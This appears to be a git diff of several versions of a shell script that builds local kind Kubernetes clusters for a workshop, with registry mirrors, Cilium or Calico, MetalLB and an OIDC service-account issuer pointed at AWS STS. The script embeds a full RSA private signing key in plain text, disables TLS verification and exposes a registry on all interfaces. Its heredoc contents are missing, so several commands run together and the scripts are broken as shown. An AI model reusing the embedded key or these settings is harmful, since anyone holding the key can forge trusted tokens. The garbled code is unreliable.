+cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF + +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF + +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + ipFamily: ipv6 +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].GlobalIPv6Address') +networkkind=$(echo ${ipkind} | rev | cut -d: -f2- | rev): + +#kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}${number}1-${networkkind}${number}9 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 